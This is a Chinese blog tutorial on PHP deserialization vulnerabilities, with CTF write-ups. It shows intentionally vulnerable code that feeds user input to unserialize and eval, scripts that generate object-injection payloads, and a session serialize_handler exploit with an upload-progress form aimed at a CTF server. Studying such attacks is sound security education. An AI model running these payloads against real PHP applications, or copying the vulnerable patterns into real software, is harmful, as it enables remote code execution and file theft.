MENU

PHP反序列化的一些例子

October 26, 2018 • 学习心得阅读设置

之前Web一直被PHP反序列化的一些问题困扰,现在痛定思痛,决定好好的总结一番(大佬请略过)

一般反序列化能用的例子都是利用了PHP中的一些可以自动调用的特殊函数,类似于C++中的构造函数之类的,不需要其他函数调用即可自动运行,通常称这些函数为魔幻函数。

常用的魔幻函数包括construct(), destruct(), sleep(), wakeup(), toString().

首先我们以construct()为例,测试一下其自动执行情况。

<?php
    class example
    {
        var $xxx='hahahaha';
        function __construct(){
            echo($this->xxx);
        }
    }
    $test=new example();
    echo serialize($test);
?>

1.png

我们在函数中定义了一个example类,然后用new新建了一个example对象,在新建对象的时候,其中的魔幻函数__construct()自动执行,echo输出了$xxx的值,同时在代码的最后一段,我们调用了序列化函数,将test对象给序列化。
这里提一下,序列化函数和反序列化函数。所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。为了能够unserialize()一个对象,这个对象的类必须已经定义过。如果序列化类A的一个对象,将会返回一个跟类A相关,而且包含了对象所有变量值的字符串。
不懂的朋友可以参考一下PHP手册
首先我们要确定一点,利用反序列化漏洞的有两个条件
1.unserialize()函数的参数可控
2.php中有可以利用的类并且类中有魔幻函数
接下来实验一下第一个比较有意思的例子。

shell.php

<?php
    class example
    {
        public $handle;
        function __construct(){
            $this->handle=new process();
        }
    }
    class process{
        public $pid;
        function __construct(){
            $this->pid='phpinfo();';
        }
    }
    $test=new example();
    echo serialize($test);
?>

执行这个代码,得到payload如下
2.png

首先解释一下这个payload,他表示这一串序列化中,有一个example对象,其中包含一个变量handle,handle又是一个process类的实例,其中包含一个pid变量,其值为phpinfo();然后我们将payload打入test.php查看效果发现执行成功,得到了phpinfo()的信息,如下图:
3.png

这里我们将test.php中的destruct()改为wakeup()也可以,因为__wakeup函数是在反序列化是自动调用的函数,实验一下。

test1.php

<?php
    class example
    {
        public $handle;
        function  __wakeup(){
            $this->funnnn();
        }
        function funnnn(){
            $this->handle->close();
        }
    }
    class process{
        public $pid;
        function close(){
            eval($this->pid);
        }
    }
    if(isset($_GET['data'])){
        $user_data=unserialize($_GET['data']);
    }
?>

还是运行shell.php执行产生的payload,得到了预期结果。
4.png

这里以一道CTF题目为例子,加深一下印象。题目前一部分是利用php协议,最后取得flag需要用到php反序列化漏洞,这里我只说明一下反序列化的漏洞。
题目地址
我们最终得到的题目源php代码为

hint.php

<?php  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("good");
        }  
    }  
}  
?>

index.php

<?php 
$txt = $_GET["txt"]; 
$file = $_GET["file"]; 
$password = $_GET["password"]; 
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf"))
{ echo "hello friend!<br>"; 
 if(preg_match("/flag/",$file))
 { 
     echo "不能现在就给你flag哦"; 
     exit(); 
   }
   else{ 
   include($file); 
   $password = unserialize($password); 
   echo $password; } 
   }
   else{ 
   echo "you are not the number of bugku ! "; } 
?>

首先要注意:
1.password变量最初是一个序列化的,而且还应该是一个Flag类的实例
2.flag在flag.php里面
3.Flag类中有魔幻函数,index.php中unserialize函数参数可控
于是我们构造payload:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";},反序列化之后,password是一个Flag类的实例,有一个file变量,内容为flag.php。当index.php对password执行echo操作时,会自动触发Flag类中的__tostring()函数,然后通过echo file_get_contents($this->file)输出flag.php里面的内容,最终结果如下:
5.png

PHP session反序列化
最开始接触session类型是有一次打CTF比赛的时候,jarvis oj上面的一道题目。题目链接 进来之后,发现题目给了一个php代码:

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

刚开始的看的时候,我也不太懂,但是根据提示,应该是PHP反序列化漏洞问题。google了一下ini_set('session.serialize_handler', 'php'),发现是PHPsession的序列化和反序列化问题,出题人应该是根据我找到的参考2的漏洞报告出的题,接下来我们分析这个题目。
php提供了 session.serialize_handler 配置选项,设置该选项可以选择序列化问题使用的处理器,常用的处理器有三种:
6.png

然后我尝试查看了一下本题服务器的php版本,发现能够查看,而且发现其默认的session.serialize_handler为 php_serialize,这与本题中php代码第一行就设置的session.serialize_handler为php不符合。
7.png

我们先测试一下php和php_serialize的区别,测试代码

<?php
ini_set('session.serialize_handler','php_serialize');
//ini_set('session.serialize_handler','php');
session_start();
$_SESSION["test"]=$_GET["t"];
?>

输出的结果 php_serialize为t:1:{s:4:"test";s:4:"1111";} php的结果为test|s:4:"1111";
所以我们看到,如果我们的$_SESSION['ceshi']=''|O:8:"students":0:{}';' 那么当我们用php_serialize存储时候,他会是a:1:{s:5:"测试";s:20:"|O:8:"students":0:{}";} 然后当我们用php进行读取的时候,反序列化的结果会是

array(1) {
  ["a:1:{s:5:"ceshi";s:20:""]=>
  object(students)#1 (0) {
  }
}

我们通过|伪造对象的序列化数据,成功实例化了students对象。
对于本题,我们没有上传点,但是通过参考2,且查看本题的session.upload_progress.enabled为On
8.png

所以我们需要构造一个html页面

<!DOCTYPE html>
<html>
<head>
    <title>test XXE</title>
    <meta charset="utf-8">
</head>
<body>
    <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"><!--     
不对字符编码-->
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
        <input type="file" name="file" />
        <input type="submit" value="go" />
    </form>
</body>
</html>

然后构造payload:

<?php
class OowoO
{
    public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$test = new OowoO();
$x = serialize($test);

var_dump($x);
?>

得到payload:
9.png

然后通过修改的html抓包,改filename,先扫描一下目录
10.png

修改payload,得到flag,此题为php session反序列化漏洞的一个典型例子
11.png

参考:
1.https://blog.csdn.net/csu_vc/article/details/78375203
2.https://gist.github.com/chtg/f74965bfea764d9c9698



本文转自阿里先知社区:https://xz.aliyun.com/t/3017

Last Modified: February 3, 2019